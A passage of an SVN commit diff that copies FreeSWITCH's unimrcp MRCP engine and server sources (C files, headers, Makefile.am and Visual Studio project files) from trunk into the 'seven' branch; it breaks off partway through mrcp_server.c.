+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_resource_engine.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_resource_plugin.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_resource_engine.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/src/mrcp_resource_engine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/src/mrcp_resource_engine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-engine/src/mrcp_resource_engine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/src/mrcp_resource_engine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-engine/src/mrcp_resource_engine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,151 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_resource_engine.h"
+#include "mpf_codec_manager.h"
+
+/** Create resource engine */
+mrcp_resource_engine_t* mrcp_resource_engine_create(
+								mrcp_resource_id resource_id,
+								void *obj, 
+								const mrcp_engine_method_vtable_t *vtable,
+								apr_pool_t *pool)
+{
+	mrcp_resource_engine_t *engine = apr_palloc(pool,sizeof(mrcp_resource_engine_t));
+	mrcp_plugin_version_get(&engine->plugin_version);
+	engine->resource_id = resource_id;
+	engine->obj = obj;
+	engine->method_vtable =vtable;
+	engine->codec_manager = NULL;
+	engine->dir_layout = NULL;
+	engine->pool = pool;
+	return engine;
+}
+
+/** Create engine channel */
+mrcp_engine_channel_t* mrcp_engine_channel_create(
+								mrcp_resource_engine_t *engine, 
+								const mrcp_engine_channel_method_vtable_t *method_vtable,
+								void *method_obj,
+								mpf_termination_t *termination,
+								apr_pool_t *pool)
+{
+	mrcp_engine_channel_t *channel = apr_palloc(pool,sizeof(mrcp_engine_channel_t));
+	channel->method_vtable = method_vtable;
+	channel->method_obj = method_obj;
+	channel->event_vtable = NULL;
+	channel->event_obj = NULL;
+	channel->termination = termination;
+	channel->engine = engine;
+	channel->pool = pool;
+	apt_string_reset(&channel->id);
+	return channel;
+}
+
+/** Create engine channel and source media termination */
+mrcp_engine_channel_t* mrcp_engine_source_channel_create(
+								mrcp_resource_engine_t *engine,
+								const mrcp_engine_channel_method_vtable_t *channel_vtable,
+								const mpf_audio_stream_vtable_t *stream_vtable,
+								void *method_obj,
+								mpf_codec_descriptor_t *codec_descriptor,
+								apr_pool_t *pool)
+{
+	mpf_audio_stream_t *audio_stream;
+	mpf_termination_t *termination;
+	/* create audio stream */
+	audio_stream = mpf_audio_stream_create(
+			method_obj,           /* object to associate */
+			stream_vtable,        /* virtual methods table of audio stream */
+			STREAM_MODE_RECEIVE,  /* stream mode/direction */
+			pool);                /* pool to allocate memory from */
+
+	if(engine->codec_manager) {
+		audio_stream->rx_codec = mpf_codec_manager_codec_get(engine->codec_manager,codec_descriptor,pool);
+	}
+	
+	/* create media termination */
+	termination = mpf_raw_termination_create(
+			NULL,                 /* no object to associate */
+			audio_stream,         /* audio stream */
+			NULL,                 /* no video stream */
+			pool);                /* pool to allocate memory from */
+
+	/* create engine channel base */
+	return mrcp_engine_channel_create(
+			engine,          /* resource engine */
+			channel_vtable,  /* virtual methods table of engine channel */
+			method_obj,      /* object to associate */
+			termination,     /* media termination, used to terminate audio stream */
+			pool);           /* pool to allocate memory from */
+}
+
+/** Create engine channel and sink media termination */
+mrcp_engine_channel_t* mrcp_engine_sink_channel_create(
+								mrcp_resource_engine_t *engine,
+								const mrcp_engine_channel_method_vtable_t *channel_vtable,
+								const mpf_audio_stream_vtable_t *stream_vtable,
+								void *method_obj,
+								mpf_codec_descriptor_t *codec_descriptor,
+								apr_pool_t *pool)
+{
+	mpf_audio_stream_t *audio_stream;
+	mpf_termination_t *termination;
+
+	/* create audio stream */
+	audio_stream = mpf_audio_stream_create(
+			method_obj,             /* object to associate */
+			stream_vtable,          /* virtual methods table of audio stream */
+			STREAM_MODE_SEND,       /* stream mode/direction */
+			pool);                  /* pool to allocate memory from */
+	
+	if(engine->codec_manager) {
+		audio_stream->tx_codec = mpf_codec_manager_codec_get(engine->codec_manager,codec_descriptor,pool);
+	}
+	
+	/* create media termination */
+	termination = mpf_raw_termination_create(
+			NULL,            /* no object to associate */
+			audio_stream,    /* audio stream */
+			NULL,            /* no video stream */
+			pool);           /* pool to allocate memory from */
+
+	/* create engine channel base */
+	return mrcp_engine_channel_create(
+			engine,          /* resource engine */
+			channel_vtable,  /* virtual methods table of engine channel */
+			method_obj,      /* object to associate */
+			termination,     /* media termination, used to terminate audio stream */
+			pool);           /* pool to allocate memory from */
+}
+
+/** Get codec of the audio source stream */
+mpf_codec_t* mrcp_engine_source_stream_codec_get(mrcp_engine_channel_t *channel)
+{
+	if(channel && channel->termination && channel->termination->audio_stream) {
+		return channel->termination->audio_stream->rx_codec;
+	}
+	return NULL;
+}
+
+/** Get codec of the audio sink stream */
+mpf_codec_t* mrcp_engine_sink_stream_codec_get(mrcp_engine_channel_t *channel)
+{
+	if(channel && channel->termination && channel->termination->audio_stream) {
+		return channel->termination->audio_stream->tx_codec;
+	}
+	return NULL;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server


Name: svn:ignore
   + Makefile.in
Makefile
*.user
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -I$(top_srcdir)/libs/mrcp-server/include \
+                              -I$(top_srcdir)/libs/mrcp-engine/include \
+                              -I$(top_srcdir)/libs/mrcp-signaling/include \
+                              -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mrcp/message/include \
+                              -I$(top_srcdir)/libs/mrcp/control/include \
+                              -I$(top_srcdir)/libs/mrcp/resources/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                              $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES          = libmrcpserver.la
+
+include_HEADERS             = include/mrcp_server_types.h \
+                              include/mrcp_server.h \
+                              include/mrcp_server_session.h
+
+libmrcpserver_la_SOURCES    = src/mrcp_server.c \
+                              src/mrcp_server_session.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/include/mrcp_server.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,197 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SERVER_H__
+#define __MRCP_SERVER_H__
+
+/**
+ * @file mrcp_server.h
+ * @brief MRCP Server
+ */ 
+
+#include "mrcp_server_types.h"
+#include "mrcp_resource_engine.h"
+#include "apt_task.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create MRCP server instance.
+ * @return the created server instance
+ */
+MRCP_DECLARE(mrcp_server_t*) mrcp_server_create(apt_dir_layout_t *dir_layout);
+
+/**
+ * Start message processing loop.
+ * @param server the MRCP server to start
+ * @return the created server instance
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_start(mrcp_server_t *server);
+
+/**
+ * Shutdown message processing loop.
+ * @param server the MRCP server to shutdown
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_shutdown(mrcp_server_t *server);
+
+/**
+ * Destroy MRCP server.
+ * @param server the MRCP server to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_destroy(mrcp_server_t *server);
+
+
+/**
+ * Register MRCP resource factory.
+ * @param server the MRCP server to set resource factory for
+ * @param resource_factory the resource factory to set
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_resource_factory_register(mrcp_server_t *server, mrcp_resource_factory_t *resource_factory);
+
+/**
+ * Register MRCP resource engine.
+ * @param server the MRCP server to set engine for
+ * @param engine the resource engine to set
+ * @param name the name of the resource engine
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_resource_engine_register(mrcp_server_t *server, mrcp_resource_engine_t *engine, const char *name);
+
+/**
+ * Register codec manager.
+ * @param server the MRCP server to set codec manager for
+ * @param codec_manager the codec manager to set
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_codec_manager_register(mrcp_server_t *server, mpf_codec_manager_t *codec_manager);
+
+/**
+ * Get registered codec manager.
+ * @param server the MRCP server to get codec manager from
+ */
+MRCP_DECLARE(const mpf_codec_manager_t*) mrcp_server_codec_manager_get(mrcp_server_t *server);
+
+/**
+ * Register media engine.
+ * @param server the MRCP server to set media engine for
+ * @param media_engine the media engine to set
+ * @param name the name of the media engine
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_media_engine_register(mrcp_server_t *server, mpf_engine_t *media_engine, const char *name);
+
+/**
+ * Register RTP termination factory.
+ * @param server the MRCP server to set termination factory for
+ * @param rtp_termination_factory the termination factory
+ * @param name the name of the factory
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_rtp_factory_register(mrcp_server_t *server, mpf_termination_factory_t *rtp_termination_factory, const char *name);
+
+/**
+ * Register MRCP signaling agent.
+ * @param server the MRCP server to set signaling agent for
+ * @param signaling_agent the signaling agent to set
+ * @param name the name of the agent
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_signaling_agent_register(mrcp_server_t *server, mrcp_sig_agent_t *signaling_agent, const char *name);
+
+/**
+ * Register MRCP connection agent (MRCPv2 only).
+ * @param server the MRCP server to set connection agent for
+ * @param connection_agent the connection agent to set
+ * @param name the name of the agent
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_register(mrcp_server_t *server, mrcp_connection_agent_t *connection_agent, const char *name);
+
+/** Create MRCP profile */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_server_profile_create(
+									mrcp_resource_factory_t *resource_factory,
+									mrcp_sig_agent_t *signaling_agent,
+									mrcp_connection_agent_t *connection_agent,
+									mpf_engine_t *media_engine,
+									mpf_termination_factory_t *rtp_factory,
+									apr_pool_t *pool);
+
+/**
+ * Register MRCP profile.
+ * @param server the MRCP server to set profile for
+ * @param profile the profile to set
+ * @param plugin_map the map of resource engines (plugins)
+ * @param name the name of the profile
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_profile_register(
+									mrcp_server_t *server, 
+									mrcp_profile_t *profile,
+									apr_table_t *plugin_map,
+									const char *name);
+
+/**
+ * Register resource engine plugin.
+ * @param server the MRCP server to set engine for
+ * @param path the path to plugin
+ * @param name the name of the plugin
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_plugin_register(mrcp_server_t *server, const char *path, const char *name);
+
+/**
+ * Get memory pool.
+ * @param server the MRCP server to get memory pool from
+ */
+MRCP_DECLARE(apr_pool_t*) mrcp_server_memory_pool_get(mrcp_server_t *server);
+
+/**
+ * Get resource engine by name.
+ * @param server the MRCP server to get resource engine from
+ * @param name the name of the resource engine to lookup
+ */
+MRCP_DECLARE(mrcp_resource_engine_t*) mrcp_server_resource_engine_get(mrcp_server_t *server, const char *name);
+
+/**
+ * Get media engine by name.
+ * @param server the MRCP server to get media engine from
+ * @param name the name of the media engine to lookup
+ */
+MRCP_DECLARE(mpf_engine_t*) mrcp_server_media_engine_get(mrcp_server_t *server, const char *name);
+
+/**
+ * Get RTP termination factory by name.
+ * @param server the MRCP server to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mpf_termination_factory_t*) mrcp_server_rtp_factory_get(mrcp_server_t *server, const char *name);
+
+/**
+ * Get signaling agent by name.
+ * @param server the MRCP server to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_server_signaling_agent_get(mrcp_server_t *server, const char *name);
+
+/**
+ * Get connection agent by name.
+ * @param server the MRCP server to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_server_connection_agent_get(mrcp_server_t *server, const char *name);
+
+/**
+ * Get profile by name.
+ * @param server the MRCP client to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_server_profile_get(mrcp_server_t *server, const char *name);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SERVER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_session.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_session.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/include/mrcp_server_session.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_session.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_session.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SERVER_SESSION_H__
+#define __MRCP_SERVER_SESSION_H__
+
+/**
+ * @file mrcp_server_session.h
+ * @brief MRCP Server Session
+ */ 
+
+#include <apr_hash.h>
+#include "mrcp_session.h"
+#include "mpf_message.h"
+#include "apt_task.h"
+#include "apt_obj_list.h"
+
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MRCP channel declaration */
+typedef struct mrcp_channel_t mrcp_channel_t;
+/** MRCP server session declaration */
+typedef struct mrcp_server_session_t mrcp_server_session_t;
+/** MRCP signaling message declaration */
+typedef struct mrcp_signaling_message_t mrcp_signaling_message_t;
+
+/** Enumeration of signaling task messages */
+typedef enum {
+	SIGNALING_MESSAGE_OFFER,
+	SIGNALING_MESSAGE_CONTROL,
+	SIGNALING_MESSAGE_TERMINATE,
+} mrcp_signaling_message_type_e;
+
+/** MRCP signaling message */
+struct mrcp_signaling_message_t {
+	/** Signaling message type */
+	mrcp_signaling_message_type_e type;
+
+	/** Session */
+	mrcp_server_session_t        *session;
+	/** Descriptor */
+	mrcp_session_descriptor_t    *descriptor;
+
+	/** Channel */
+	mrcp_channel_t               *channel;
+	/** MRCP message */
+	mrcp_message_t               *message;
+};
+
+
+/** MRCP server session */
+struct mrcp_server_session_t {
+	/** Session base */
+	mrcp_session_t             base;
+	/** MRCP server */
+	mrcp_server_t             *server;
+	/** MRCP profile */
+	mrcp_profile_t            *profile;
+
+	/** Media context */
+	mpf_context_t             *context;
+
+	/** Media termination array */
+	apr_array_header_t        *terminations;
+	/** MRCP control channel array */
+	apr_array_header_t        *channels;
+
+	/** In-progress signaling request */
+	mrcp_signaling_message_t  *active_request;
+	/** Signaling request queue */
+	apt_obj_list_t            *request_queue;
+
+	/** In-progress offer */
+	mrcp_session_descriptor_t *offer;
+	/** In-progres answer */
+	mrcp_session_descriptor_t *answer;
+
+	/** Number of in-progress answer requests (flags) */
+	apr_size_t                 answer_flag_count;
+	/** Number of in-progress terminate requests (flags) */
+	apr_size_t                 terminate_flag_count;
+	/** Number of in-progress deactivare requests (flags) */
+	apr_size_t                 deactivate_flag_count;
+};
+
+/** MRCP profile */
+struct mrcp_profile_t {
+	/** Table of resource engines (mrcp_resource_engine_t*) */
+	apr_hash_t                *engine_table;
+	/** MRCP resource factory */
+	mrcp_resource_factory_t   *resource_factory;
+	/** Media processing engine */
+	mpf_engine_t              *media_engine;
+	/** RTP termination factory */
+	mpf_termination_factory_t *rtp_termination_factory;
+	/** Signaling agent */
+	mrcp_sig_agent_t          *signaling_agent;
+	/** Connection agent */
+	mrcp_connection_agent_t   *connection_agent;
+};
+
+/** Create server session */
+mrcp_server_session_t* mrcp_server_session_create();
+
+/** Process signaling message */
+apt_bool_t mrcp_server_signaling_message_process(mrcp_signaling_message_t *signaling_message);
+/** Process MPF message */
+apt_bool_t mrcp_server_mpf_message_process(mpf_message_t *mpf_message);
+
+/** Process channel modify event */
+apt_bool_t mrcp_server_on_channel_modify(mrcp_channel_t *channel, mrcp_control_descriptor_t *answer, apt_bool_t status);
+/** Process channel remove event */
+apt_bool_t mrcp_server_on_channel_remove(mrcp_channel_t *channel, apt_bool_t status);
+/** Process channel message receive */
+apt_bool_t mrcp_server_on_channel_message(mrcp_channel_t *channel, mrcp_message_t *message);
+
+/** Process channel open event */
+apt_bool_t mrcp_server_on_engine_channel_open(mrcp_channel_t *channel, apt_bool_t status);
+/** Process channel close event */
+apt_bool_t mrcp_server_on_engine_channel_close(mrcp_channel_t *channel);
+/** Process message receive event */
+apt_bool_t mrcp_server_on_engine_channel_message(mrcp_channel_t *channel, mrcp_message_t *message);
+
+/** Get session by channel */
+mrcp_session_t* mrcp_server_channel_session_get(mrcp_channel_t *channel);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SERVER_SESSION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_types.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_types.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/include/mrcp_server_types.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_types.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/include/mrcp_server_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SERVER_TYPES_H__
+#define __MRCP_SERVER_TYPES_H__
+
+/**
+ * @file mrcp_server_types.h
+ * @brief MRCP Server Types
+ */ 
+
+#include "mrcp_sig_types.h"
+#include "mrcp_connection_types.h"
+#include "mpf_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MRCP server declaration */
+typedef struct mrcp_server_t mrcp_server_t;
+
+/** Opaque MRCP profile declaration */
+typedef struct mrcp_profile_t mrcp_profile_t;
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SERVER_TYPES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/mrcpserver.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/mrcpserver.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/mrcpserver.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/mrcpserver.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/mrcpserver.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,161 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpserver"
+	ProjectGUID="{18B1F35A-10F8-4287-9B37-2D10501B0B38}"
+	RootNamespace="mrcpserver"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpserver.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpserver.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_server.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_server_session.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_server_types.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_server.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_server_session.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/src/mrcp_server.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,930 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_dso.h>
+#include "mrcp_server.h"
+#include "mrcp_server_session.h"
+#include "mrcp_message.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_sig_agent.h"
+#include "mrcp_server_connection.h"
+#include "mpf_engine.h"
+#include "apt_pool.h"
+#include "apt_consumer_task.h"
+#include "apt_obj_list.h"
+#include "apt_log.h"
+
+#define SERVER_TASK_NAME "MRCP Server"
+
+/** MRCP server */
+struct mrcp_server_t {
+	/** Main message processing task */
+	apt_consumer_task_t     *task;
+
+	/** MRCP resource factory */
+	mrcp_resource_factory_t *resource_factory;
+	/** Codec manager */
+	mpf_codec_manager_t     *codec_manager;
+	/** Table of resource engines (mrcp_resource_engine_t*) */
+	apr_hash_t              *resource_engine_table;
+	/** Table of media processing engines (mpf_engine_t*) */
+	apr_hash_t              *media_engine_table;
+	/** Table of RTP termination factories (mpf_termination_factory_t*) */
+	apr_hash_t              *rtp_factory_table;
+	/** Table of signaling agents (mrcp_sig_agent_t*) */
+	apr_hash_t              *sig_agent_table;
+	/** Table of connection agents (mrcp_connection_agent_t*) */
+	apr_hash_t              *cnt_agent_table;
+	/** Table of profiles (mrcp_profile_t*) */
+	apr_hash_t              *profile_table;
+	/** Table of plugins (apr_dso_handle_t*) */
+	apr_hash_t              *plugin_table;
+
+	/** Table of sessions */
+	apr_hash_t              *session_table;
+
+	/** Connection task message pool */
+	apt_task_msg_pool_t     *connection_msg_pool;
+	/** Resource engine task message pool */
+	apt_task_msg_pool_t     *resource_engine_msg_pool;
+
+	/** Dir layout structure */
+	apt_dir_layout_t        *dir_layout;
+	/** Time server started at */
+	apr_time_t               start_time;
+	/** Memory pool */
+	apr_pool_t              *pool;
+};
+
+
+typedef enum {
+	MRCP_SERVER_SIGNALING_TASK_MSG = TASK_MSG_USER,
+	MRCP_SERVER_CONNECTION_TASK_MSG,
+	MRCP_SERVER_RESOURCE_ENGINE_TASK_MSG,
+	MRCP_SERVER_MEDIA_TASK_MSG
+} mrcp_server_task_msg_type_e;
+
+
+static apt_bool_t mrcp_server_offer_signal(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_server_terminate_signal(mrcp_session_t *session);
+static apt_bool_t mrcp_server_control_signal(mrcp_session_t *session, mrcp_message_t *message);
+
+static const mrcp_session_request_vtable_t session_request_vtable = {
+	mrcp_server_offer_signal,
+	mrcp_server_terminate_signal,
+	mrcp_server_control_signal
+};
+
+
+/* Connection agent interface */
+typedef enum {
+	CONNECTION_AGENT_TASK_MSG_ADD_CHANNEL,
+	CONNECTION_AGENT_TASK_MSG_MODIFY_CHANNEL,
